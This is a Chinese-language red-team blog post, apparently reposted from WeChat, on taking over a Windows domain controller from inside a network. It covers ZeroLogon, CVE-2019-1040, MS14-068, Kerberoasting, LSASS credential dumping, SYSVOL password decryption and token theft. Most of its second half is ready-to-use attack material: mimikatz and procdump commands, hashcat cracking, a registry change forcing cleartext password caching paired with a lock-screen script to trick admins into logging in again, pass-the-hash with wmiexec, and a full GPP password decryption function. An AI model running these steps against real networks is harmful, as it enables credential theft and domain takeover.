内网渗透Tips&内网环境中获取域控权限的一些常见手段
2023-2-14 10:2:42 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:15 收藏

我们在打入内网的时候,看一眼环境发现有域,所以接着上一篇内网渗透Tips&内网环境中找域控的几种小技巧。本文梳理一下在进行域环境渗透中获取域控权限的一些常见思路与手段,众所周知在域环境中只要获取到域控服务器的权限,基本上可以获取整个内网的权限。

利用域内大杀器漏洞攻击

内网协议NTLM大杀器-CVE-2019-1040

Preempt的研究人员发现了如何在NTLM身份验证上绕过MIC(Message Integrity Code)保护措施并修改NTLM消息流中的任何字段(包括签名)。该种绕过方式允许攻击者将已经协商签名的身份验证尝试中继到另外一台服务器,同时完全删除签名要求。所有不执行签名的服务器都容易受到攻击。这个漏洞其实就是可以绕过NTLM MIC的防护,也是NTLM_RELAY漏洞。攻击者利用该漏洞可以绕过NTLM中的MIC(Message Integrity Code)。攻击者可以修改已经协商签名的身份验证流量,然后中继到另外一台服务器,同时完全删除签名要求。通过该攻击方式可使攻击者在仅有一个普通域账号的情况下,运程控制域中任意机器(包括域控服务器)。

此漏洞在exchange_RCE未出现之前是域内大杀器,可运用于已有域账户但是exchange已修补rce漏洞情况下展开攻击。

在2019年6月12日,微软官方在6月的补丁日中发布了漏洞 CVE-2019-1040的安全补丁。

  • 已有域成员账号密码且存在一台exchange服务
  • 已有域成员账号密码,目标域内存在两个域

原理:内网协议NTLM之内网大杀器CVE-2019-1040漏洞 - 腾讯云开发者社区-腾讯云 (tencent.com)

复现:【漏洞复现】CVE-2019-1040内网大杀器复现 - 知乎 (zhihu.com)

零登陆梭哈-CVE-2020-1472-ZeroLogon

2020年9月11日,安全公司Secura发布了公告,披露了Microsoft在2020年8月修补的漏洞细节(CVE-2020-1472)。该漏洞也称为Zerologon,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。因为Netlogon使用的AES认证算法中的vi向量默认为0,所以导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员密码设置为空。受到影响的版本:

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

原理:ZeroLogon(CVE-2020-1472) 分析与狩猎 - 腾讯云开发者社区-腾讯云 (tencent.com)

复现:(96条消息) CVE-2020-1472复现与完整利用_Shanfenglan7的博客-CSDN博客_cve-2020-1472复现

Kerberos域用户提权漏洞-MS14-068

Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。

该漏洞可导致活动目录整体权限控制收到影响,允许攻击者将域内任意用户权限提升至域管理级别。如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。这是一个大漏洞,允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。在 SERVER 2000以上的域控中,只要没有打这个补丁,那么情况将是非常糟糕的。

原理:Kerberos域用户提权漏洞(MS14-068)分析与防范 - 腾讯云开发者社区-腾讯云 (tencent.com)

复现:Kerberos域用户提权漏洞(MS14-068)分析与防范 - 腾讯云开发者社区-腾讯云 (tencent.com)

Kerberoast 域口令攻击

Kerberoasting 是域渗透中经常使用的一项技术,是Tim Medin 在  DerbyCon 2014 上发布的一种域口令攻击方法,Tim Medin 同时发布了配套的攻击工具 kerberoast。此后,不少研究人员对 Kerberoasting 进行了改进和扩展,在 GitHub 上开发发布了大量工具,使得 Kerberoasting  逐渐发展成为域攻击的常用方法之一。

Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),加密算法为RC4-HMAC,如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。

Kerberoasting和Kerberoast是同一种技术,叫法不一样

复现:https://zhuanlan.zhihu.com/p/475122515

原理:https://www.anquanke.com/post/id/87050

攻击原理

  1. 攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求。
  2. 攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ)  获取特定标识的SPN。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName  字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
  3. 如果攻击者的 TGT 是有效的,则 DC  将从TGT认购权证中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN  的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
  4. 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

mimikatz 穷举

请求指定的TGS,完成之后klist就能查看相应的票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mysql/12server4.redteam.club:3306"

mimikatz导出票据

kerberos::list /export

使用tgsrepcrack.py破解

python3 tgsrepcrack.py wordlist.txt mssql.kirbi

如果是域控用户注册的 可以得到域得明文密码

hashcat 穷举

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

在域内一台主机上以普通用户权限执行:

Kerberoast -OutputFormat Hashcat 
Invoke-Kerberoast  -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

保存文件 使用hashcat对其穷举

hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt --force

高权限转储哈希密码攻击

Mimikatz在线/离线抓取

当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。

privilege::debug  
sekurlsa::logonpasswords

如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过mimikatz的方式进行绕过

先导出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

保存到本地,通过mimikatz读lsass.dmp的明文

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"  > 1.txt

如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。

添加注册表,设置UseLogonCredential设置为1

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

利用powershell脚本进行锁屏

Function Lock-WorkStation 
{
$signature = @"
[DllImport("
user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"
@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

管理员重新登录后就可以抓取到明文密码了。

net use \\10.10.10.137\ipc$ "QWEasd123" /user:redteam\administrator
python3 wmiexec.py -hashes 00000000000000000000000000000000:42e2656ec24331269f82160ff5962387 [email protected] "whoami" 

SYSVOL组策略获取密码

复现:https://www.cnblogs.com/21r000/p/15675872.html

在域环境中,有个默认的共享路径

\\<DOMAIN>\SYSVOL\<DOMAIN>\

SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥

可以利用powershell解密密文:

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)

        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)

        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }

    catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"

针对SYSOVL的防御:

1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限

利用常规手段攻击

窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

进程迁移/注入/窃取

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

获取域管理员列表

net group "Domain Admins" /domain

找到域管理员所运行的进程,然后将shell进程迁移到域管理员所运行的进程中后就获得了域管理员权限。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247499291&idx=1&sn=0bce9b0f4bd0c6baa465e9b7c99b0760&chksm=c3056b9cf472e28a32b491dbbd6814983e6296473bbc07c483aafa2558c4235ca35173d87a6a#rd
如有侵权请联系:admin#unsafe.sh